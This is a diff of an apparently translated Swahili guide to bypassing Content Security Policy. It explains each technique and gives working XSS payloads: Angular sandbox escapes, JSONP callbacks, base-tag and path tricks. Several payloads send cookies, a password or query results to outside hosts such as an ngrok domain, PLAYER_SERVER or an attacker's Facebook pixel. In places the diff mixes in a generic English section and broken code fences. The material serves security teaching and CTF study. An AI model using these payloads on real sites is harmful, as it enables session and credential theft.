* `'strict-origin'`: Kama 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo inalingana na hati (vyanzo salama tu vinaweza kupakia rasilimali kutoka kwa vyanzo salama).
|
||||
* `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili sawa lakini inatuma asili tu wakati ombi ni la msalaba-asili.
|
||||
* `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakia ambazo zitarudisha moja kwa moja kwenye rasilimali nyingine. Haipendekezwi kwani inadhoofisha usalama.
|
||||
|
||||
## Sheria za CSP Zisizo Salama
|
||||
|
||||
|
@ -130,7 +130,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Kifurushi kinachofanya kazi: `"/><script>alert(1);</script>`
|
||||
Kazi ya payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' kupitia Iframes
|
||||
|
||||
|
@ -152,9 +152,9 @@ Payload inayofanya kazi:
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
Ikiwa unaweza kwa namna fulani kufanya **msimbo wa JS ulioruhusiwa uunde lebo mpya ya script** katika DOM na msimbo wako wa JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **lebo mpya ya script itaruhusiwa kutekelezwa**.
|
||||
Ikiwa kwa namna fulani unaweza kufanya **msimbo wa JS ulioruhusiwa uunde lebo mpya ya script** katika DOM na msimbo wako wa JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **lebo mpya ya script itaruhusiwa kutekelezwa**.
|
||||
|
||||
### Kipeperushi (\*)
|
||||
### Kichwa cha habari (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
|
@ -177,11 +177,11 @@ Payloads zinazofanya kazi:
|
|||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
```
|
||||
### Kupakia Faili + 'self'
|
||||
### Pakia Faili + 'self'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Ikiwa unaweza kupakia faili ya JS unaweza kukiuka hii CSP:
|
||||
Ikiwa unaweza kupakia faili ya JS unaweza kuzidi CSP hii:
|
||||
|
||||
Payload inayofanya kazi:
|
||||
```markup
|
||||
|
@ -189,23 +189,26 @@ Payload inayofanya kazi:
|
|||
```
|
||||
Hata hivyo, ni uwezekano mkubwa kwamba server ina **thibitisha faili iliyopakiwa** na itaruhusu tu **kupakia aina iliyodhamiriwa ya faili**.
|
||||
|
||||
Zaidi ya hayo, hata kama ungeweza kupakia **msimbo wa JS ndani** ya faili ukitumia kipanuzi kinachokubaliwa na server (kama: _script.png_) haitoshi kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kipanuzi** na vivinjari kama Chrome **vitakataa kutekeleza msimbo wa Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa bahati mbaya", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache haifahamu** kipanuzi cha _**.wave**_, hivyo haipatii na **aina ya MIME kama audio/\***.
|
||||
Zaidi ya hayo, hata kama ungeweza kupakia **msimbo wa JS ndani** ya faili ukitumia kipanuzi kinachokubaliwa na server (kama vile: _script.png_) haitoshi kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kipanuzi** na vivinjari kama Chrome **vitakataa kutekeleza msimbo wa Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa bahati mbaya", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache haifahamu** kipanuzi cha _**.wave**_, hivyo haipatii na **aina ya MIME kama audio/\***.
|
||||
|
||||
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kipanuzi kilichochanganyikiwa**, unaweza kujaribu kupakia faili yenye kipanuzi hicho na Maudhui ya script. Au, ikiwa server inathibitisha muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([baadhi ya mifano ya polyglot hapa](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kuvuja kwa mfano vibali **kwa kuingiza hatua ya fomu** (na labda kutarajia mameneja wa nywila kujaza nywila moja kwa moja). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, kumbuka kwamba `default-src` haifuniki hatua za fomu.
|
||||
Ikiwa haiwezekani kuingiza JS, unaweza bado kujaribu kuvuja kwa mfano vibali **kwa kuingiza hatua ya fomu** (na labda kutarajia mameneja wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, kumbuka kwamba `default-src` haifuniki hatua za fomu.
|
||||
|
||||
### Njia za Tatu za Mwisho + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kwa baadhi ya malipo yafuatayo **`unsafe-eval` hata haifai**.
|
||||
Kwa baadhi ya mzigo ufuatao **`unsafe-eval` hata haifai**.
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
Pakia toleo lililo na mapungufu la angular na tekeleza JS ya kupendelea:
|
||||
```html
|
||||
```html
|
||||
Tumia toleo lililodhurika la angular na tekeleza JS ya kiholela:
|
||||
```
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
@ -262,7 +265,7 @@ Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudfl
|
|||
```
|
||||
#### Kudhuru kanuni ya JS ya google recaptcha
|
||||
|
||||
Kulingana na [**hii CTF andika**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza kanuni ya JS ya kupita kwenye CSP:
|
||||
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza kanuni ya JS ya kupita kwenye CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -290,7 +293,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```
|
||||
#### Kutumia www.google.com kwa ajili ya kurejeleza wazi
|
||||
|
||||
URL ifuatayo inarejelea kwenye example.com (kutoka [hapa](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
URL ifuatayo inarejelea example.com (kutoka [hapa](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
|
@ -300,7 +303,7 @@ Inawezekana kutumia Google Apps Script kupokea habari kwenye ukurasa ndani ya sc
|
|||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Mazingira kama haya ambapo `script-src` imewekwa kama `self` na kikoa fulani ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kukiukwa kwa kutumia JSONP. Vituo vya JSONP huruhusu njia za kurejelea zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo wa kazi:
|
||||
Scenarios kama hii ambapo `script-src` imewekwa kama `self` na kikoa fulani ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kukiukwa kwa kutumia JSONP. Vipimo vya JSONP huruhusu njia za kurejelea zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo wa kazi:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -312,13 +315,13 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **inaendelea kutumia JSONP endpoints kwa kuzidi kwa CSP kwenye tovuti tofauti.**
|
||||
|
||||
Ugunduzi sawa utatokea ikiwa **endpoint iliyosadikika ina Open Redirect** kwa sababu ikiwa endpoint ya awali inasadikika, maelekezo yanasadikika.
|
||||
Hitilafu ile ile itatokea ikiwa **endpoint iliyosadikika ina Open Redirect** kwa sababu ikiwa endpoint ya awali inasadikika, maelekezo yanasadikika.
|
||||
|
||||
### Mabaya ya Tatu
|
||||
|
||||
Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna uwanja wengi wa tatu, ambao huenda ukaruhusiwa mahali fulani katika CSP, unaweza kutumika kwa kuchukua data au kutekeleza nambari ya JavaScript. Baadhi ya hizi za tatu ni:
|
||||
Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna uwezekano wa kudhulumiwa kwa vikoa vya tatu, ambavyo vinaweza kuruhusiwa mahali fulani katika CSP, vinaweza kutumika kwa kuchukua data au kutekeleza nambari ya JavaScript. Baadhi ya vikoa hivi vya tatu ni:
|
||||
|
||||
| Entiti | Uwanja Ulioruhusiwa | Uwezo |
|
||||
| Kikundi | Kikoa Kilichoruhusiwa | Uwezo |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
|
@ -329,7 +332,7 @@ Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dr
|
|||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Ikiwa unapata moja ya uwanja ulioruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuzidi CSP kwa kusajili kwenye huduma ya tatu na, au kuchukua data kwenda kwenye huduma hiyo au kutekeleza nambari.
|
||||
Ikiwa unapata moja ya vikoa vilivyoidhinishwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuzidi CSP kwa kusajili kwenye huduma ya tatu na, au kuchukua data kwenye huduma hiyo au kutekeleza nambari.
|
||||
|
||||
Kwa mfano, ikiwa unapata CSP ifuatayo:
|
||||
```
|
||||
|
@ -339,45 +342,59 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
#### Introduction
|
||||
|
||||
Content Security Policy (CSP) ni njia ya kudhibiti vyanzo vya rasilimali ambavyo kivinjari kinaweza kupakia kwenye ukurasa wa wavuti. Katika muktadha wa usalama wa wavuti, CSP inaweza kusaidia kupunguza hatari za mashambulizi kama vile XSS. Hata hivyo, kuna njia za kuzunguka (bypass) CSP ambazo zinaweza kutumiwa na wadukuzi kuvunja vikwazo vilivyowekwa na CSP. Katika mafunzo haya, tutajifunza baadhi ya mbinu za kuzunguka CSP.
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
|
||||
#### Bypassing CSP using `unsafe-inline`
|
||||
|
||||
One common way to bypass CSP is by exploiting the `unsafe-inline` directive. This directive allows the execution of inline scripts and styles, which can be abused by an attacker to inject malicious code into the page.
|
||||
|
||||
#### Bypassing CSP using data: URIs
|
||||
|
||||
Another technique to bypass CSP is by using data: URIs to embed external resources directly into the HTML code. By encoding the external resource into a data URI, an attacker can load the resource without triggering CSP violations.
|
||||
|
||||
#### Bypassing CSP using `nonce` or `hash`
|
||||
|
||||
CSP also allows the use of `nonce` or `hash` attributes to whitelist specific inline scripts or styles. An attacker can bypass CSP by injecting a valid nonce or hash value along with their malicious code.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
While Content Security Policy is a powerful security measure, it is essential to understand the potential bypass techniques to ensure robust protection against code injection attacks. Regularly reviewing and updating CSP directives can help mitigate the risk of bypass vulnerabilities.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Unapaswa kuweza kuchukua data, kama ilivyokuwa ikifanywa kila wakati na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, unafuata hatua hizi kuu:
|
||||
Unapaswa kuweza kuchukua data, kama ilivyokuwa ikifanywa kila wakati na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass). Katika kesi hii, unafuata hatua hizi kuu:
|
||||
|
||||
1. Unda akaunti ya Facebook Developer hapa.
|
||||
2. Unda programu mpya ya "Facebook Login" na chagua "Tovuti".
|
||||
3. Nenda kwa "Mipangilio -> Msingi" na pata "Kitambulisho cha Programu yako (App ID)".
|
||||
3. Nenda kwa "Mipangilio -> Msingi" na pata "Kitambulisho cha Programu"
|
||||
4. Kwenye tovuti lengwa unayotaka kuchukua data kutoka, unaweza kuchukua data moja kwa moja kwa kutumia kifaa cha Facebook SDK "fbq" kupitia "tukio la desturi" na mzigo wa data.
|
||||
5. Nenda kwa "Meneja wa Matukio ya Programu" yako na chagua programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana kwenye URL kama huu: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
5. Nenda kwa "Meneja wa Matukio ya Programu" yako na chagua programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana kwenye URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[kitambulisho-cha-programu]/test\_events
|
||||
6. Chagua kichupo "Matukio ya Majaribio" kuona matukio yanayotumwa na tovuti "yako".
|
||||
|
||||
Kisha, upande wa mwathiriwa, tekeleza nambari ifuatayo kuanzisha pikseli ya ufuatiliaji wa Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa shambulizi na kutuma tukio la desturi kama hili:
|
||||
Kisha, upande wa mwathiriwa, tekeleza nambari ifuatayo kuanzisha pikseli ya kufuatilia ya Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa shambulizi na kutoa tukio la desturi kama hili:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Kuhusu uwanja wa tatu wa tatu uliotajwa katika meza iliyopita, kuna njia nyingine nyingi unazoweza kuzitumia vibaya. Tazama [chapisho la blogi](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) hapo awali kwa maelezo zaidi kuhusu matumizi mabaya ya uwanja wa tatu.
|
||||
|
||||
### Kupitia RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Mbali na mwelekeo uliotajwa hapo juu wa kuzidisha vikwazo vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye baadhi ya seva.
|
||||
Mbali na mwelekezaji uliotajwa hapo juu wa kukiuka vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye baadhi ya seva.
|
||||
|
||||
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kuzidishwa kama ifuatavyo:
|
||||
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kukiukwa kama ifuatavyo:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
Browser mwishowe itapakia `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Hii inafanya kazi kwa sababu kwa browser, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inazingatia CSP.
|
||||
Hii inafanya kazi kwa sababu kwa kivinjari, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
|
||||
|
||||
Kwa hivyo, wataidecode, wakiiomba kwa ufanisi `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Kwa **kutumia hitilafu hii katika tafsiri ya URL kati ya browser na seva, sheria za njia zinaweza kudukuliwa**.
|
||||
Kwa **kutumia hitilafu hii katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kudukuliwa**.
|
||||
|
||||
Suluhisho ni kutotambua `%2f` kama `/` upande wa seva, kuhakikisha tafsiri thabiti kati ya browser na seva ili kuepuka shida hii.
|
||||
Suluhisho ni kutotibu `%2f` kama `/` upande wa seva, kuhakikisha tafsiri thabiti kati ya kivinjari na seva ili kuepuka shida hii.
|
||||
|
||||
Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
|
@ -387,35 +404,37 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
|
|||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **base-uri** iliyopotea
|
||||
### **base-uri** iliyokosekana
|
||||
|
||||
Ikiwa mwelekeo wa **base-uri** haupo unaweza kutumia kuidhuru kufanya [**injini ya alama ya kutundikwa**](../dangling-markup-html-scriptless-injection/).
|
||||
Ikiwa mwelekeo wa **base-uri** haujapatikana unaweza kutumia kuidhuru kufanya [**kuingiza alama za markup zilizopotea**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Zaidi, ikiwa **ukurasa unapakia script kwa kutumia njia ya kihusishi** (kama `<script src="/js/app.js">`) ukitumia **Nonce**, unaweza kutumia **tag ya msingi** kufanya iweze **pakia** script kutoka **kwenye seva yako kufikia XSS.**\
|
||||
Ikiwa ukurasa unaopatikana ni **httpS**, tumia url ya httpS kwenye msingi.
|
||||
Zaidi, ikiwa **ukurasa unapakia script kwa kutumia njia ya kihusishi** (kama `<script src="/js/app.js">`) ukitumia **Nonce**, unaweza kutumia **tag ya msingi** kufanya iweze **pakia** script kutoka **kwenye seva yako mwenyewe kufikia XSS.**\
|
||||
Ikiwa ukurasa unaopatikana ni wa **httpS**, tumia url ya httpS kwenye msingi.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### Matukio ya AngularJS
|
||||
|
||||
Sera maalum inayojulikana kama Sera ya Usalama wa Yaliyomo (CSP) inaweza kuzuia matukio ya JavaScript. Walakini, AngularJS inaleta matukio ya desturi kama mbadala. Ndani ya tukio, AngularJS hutoa kitu cha pekee `$event`, kirejelea kitu cha tukio la kivinjari asilia. Kitu hiki cha `$event` kinaweza kutumika kukiuka CSP. Hasa, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia safu ya vitu iliyohusishwa katika mnyororo wa utekelezaji wa tukio, na kitu cha `window` kawaida kikiwa kwenye mwisho. Muundo huu ni muhimu kwa mikakati ya kutoroka kwenye sanduku la mchanga.
|
||||
Sera maalum inayojulikana kama Sera ya Usalama wa Yaliyomo (CSP) inaweza kuzuia matukio ya JavaScript. Walakini, AngularJS inaleta matukio ya desturi kama mbadala. Ndani ya tukio, AngularJS hutoa kitu cha pekee `$event`, kirejelea kitu cha tukio la kivinjari asilia. Kitu hiki cha `$event` kinaweza kutumika kukiuka CSP. Hasa, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia safu ya vitu inayohusishwa katika mnyororo wa utekelezaji wa tukio, na kitu cha `window` kawaida kikiwa kwenye mwisho. Muundo huu ni muhimu kwa mikakati ya kutoroka kwenye sanduku.
|
||||
|
||||
Kwa kuongoza safu hii kwa kichujio cha `orderBy`, inawezekana kuipitia, kutumia kipengee cha mwisho (kitu cha `window`) kuzindua kazi ya ulimwengu kama vile `alert()`. Msimbo uliodhihirishwa hapa chini unaelezea mchakato huu:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Hii sehemu inaonyesha matumizi ya agizo la `ng-focus` kuzindua tukio, kutumia `$event.path|orderBy` kubadilisha safu ya `path`, na kutumia kitu cha `window` kutekeleza kazi ya `alert()`, hivyo kufunua `document.cookie`.
|
||||
Kificho hiki kinaonyesha matumizi ya agizo la `ng-focus` kuzindua tukio, kutumia `$event.path|orderBy` kubadilisha safu ya `path`, na kutumia kifaa cha `window` kutekeleza kazi ya `alert()`, hivyo kufunua `document.cookie`.
|
||||
|
||||
**Pata njia zingine za kuzidisha Angular** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
**Pata njia zingine za kuzidisha Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS na kikoa kilichoorodheshwa
|
||||
### AngularJS na kikoa kilichoorodheshwa kwenye orodha nyeupe
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
### Mbinu ya Kupita Kwenye Sera ya Usalama wa Yaliyomo (CSP)
|
||||
### Kupuuza Sera ya Usalama wa Yaliyomo (CSP)
|
||||
|
||||
Sera ya CSP ambayo inaweka orodha nyeupe ya vikoa kwa kupakia script katika programu ya Angular JS inaweza kupuuzwa kupitia wito wa kazi za kurejeshwa na baadhi ya mbinu zenye mapungufu. Taarifa zaidi kuhusu mbinu hii inapatikana kwenye mwongozo kamili uliopo kwenye [hifadhi ya git hii](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
Sera ya CSP ambayo inaweka orodha nyeupe ya uwanja kwa mzigo wa script katika programu ya Angular JS inaweza kupuuzwa kupitia wito wa kazi za kurejeshwa na baadhi ya mafunzo yanayoweza kudhurika. Maelezo zaidi kuhusu mbinu hii yanaweza kupatikana katika mwongozo kamili uliopo kwenye [hifadhi ya git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Mizigo inayofanya kazi:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -427,9 +446,9 @@ Other JSONP arbitrary execution endpoints can be found in [**hapa**](https://git
|
|||
|
||||
### Kupitisha kupitia Uelekezaji
|
||||
|
||||
Nini hutokea wakati CSP inakutana na uelekezaji upande wa seva? Ikiwa uelekezaji unapelekea kwenye asili tofauti ambayo haijaruhusiwa, bado itashindwa.
|
||||
Kipi hutokea wakati CSP inakutana na uelekezaji upande wa seva? Ikiwa uelekezaji unapelekea kwenye asili tofauti ambayo haikubaliki, bado itashindwa.
|
||||
|
||||
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Njia na Uelekezaji](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unapelekea kwenye njia tofauti, inaweza kupitisha vizuizi vya awali.
|
||||
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unapelekea kwenye njia tofauti, inaweza kupitisha vizuizi vya awali.
|
||||
|
||||
Hapa kuna mfano:
|
||||
```html
|
||||
|
@ -447,35 +466,35 @@ Hapa kuna mfano:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, tangu njia inachukuliwa, hati zote `/test` na `/a/test` zitazuiliwa na CSP.
|
||||
If CSP is set to `https://www.google.com/a/b/c/d`, tangu njia ichukuliwe kwa uzito, hati zote za `/test` na `/a/test` zitazuiliwa na CSP.
|
||||
|
||||
Walakini, mwisho wa `http://localhost:5555/301` utakuwa **kupelekwa upya kwenye upande wa seva kwenda `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni upyaishaji, **njia haizingatiwi**, na **hati inaweza kupakia**, hivyo kukiuka kizuizi cha njia.
|
||||
Hata hivyo, `http://localhost:5555/301` ya mwisho itakuwa **kuhamishiwa upya kwenye upande wa seva kwenda `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni uhamishaji, **njia haizingatiwi**, na **hati inaweza kupakia**, hivyo kukiuka kizuizi cha njia.
|
||||
|
||||
Kwa upyaishaji huu, hata kama njia imetajwa kabisa, bado itapuuzwa.
|
||||
Kwa uhamishaji huu, hata kama njia imeelezwa kikamilifu, bado itapuuzwa.
|
||||
|
||||
Kwa hivyo, suluhisho bora ni kuhakikisha kuwa tovuti haina mapungufu yoyote ya upyaishaji wazi na kwamba hakuna uwanja ambao unaweza kutumiwa katika sheria za CSP.
|
||||
Hivyo, suluhisho bora ni kuhakikisha kuwa tovuti haina mapungufu yoyote ya kuhamisha upya wazi na kwamba hakuna uwanja wowote ambao unaweza kutumiwa katika sheria za CSP.
|
||||
|
||||
### Kupuuza CSP na alama ya kuteleza
|
||||
### Kupuuza CSP na alama ya kutungika
|
||||
|
||||
Soma [hapa](../dangling-markup-html-scriptless-injection/) jinsi.
|
||||
Soma [hapa](../dangling-markup-html-scriptless-injection/) jinsi ya kufanya hivyo.
|
||||
|
||||
### 'unsafe-inline'; img-src \*; kupitia XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` inamaanisha kwamba unaweza kutekeleza script yoyote ndani ya code (XSS inaweza kutekeleza code) na `img-src *` inamaanisha kwamba unaweza kutumia kwenye ukurasa wa wavuti picha yoyote kutoka kwenye rasilimali yoyote.
|
||||
`'unsafe-inline'` inamaanisha kwamba unaweza kutekeleza script yoyote ndani ya nambari (XSS inaweza kutekeleza nambari) na `img-src *` inamaanisha kwamba unaweza kutumia kwenye ukurasa wavuti picha yoyote kutoka kwenye rasilimali yoyote.
|
||||
|
||||
Unaweza kukiuka CSP hii kwa kuchukua data kupitia picha (katika kesi hii XSS inatumia CSRF ambapo ukurasa unaopatikana na bot una SQLi, na kutoa bendera kupitia picha):
|
||||
Unaweza kukiuka CSP hii kwa kuchota data kupitia picha (katika kesi hii XSS inatumia CSRF ambapo ukurasa unaopatikana na bot una SQLi, na kuchota bendera kupitia picha):
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Ungeweza pia kutumia usanidi huu kwa **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Kwa mfano, ikiwa ukurasa unaruhusu kupakia picha kutoka Twitter. Unge **unda** picha **maalum**, **ipakie** kwenye Twitter na kutumia "**unsafe-inline**" kutekeleza msimbo wa JS (kama XSS ya kawaida) ambayo ita **pakia** picha, **chimbua** JS kutoka kwake na **kutekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Ungeweza pia kutumia mazingira haya kwa **kupakia** msimbo wa javascript ulioingizwa ndani ya picha. Kwa mfano, ikiwa ukurasa unaruhusu kupakia picha kutoka Twitter. Unge **unda** picha **maalum**, **ipakie** kwenye Twitter na kutumia "**unsafe-inline**" kutekeleza msimbo wa JS (kama XSS ya kawaida) ambao utapakia picha, kutoa JS kutoka kwake na kutekeleza **msimbo** huo: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
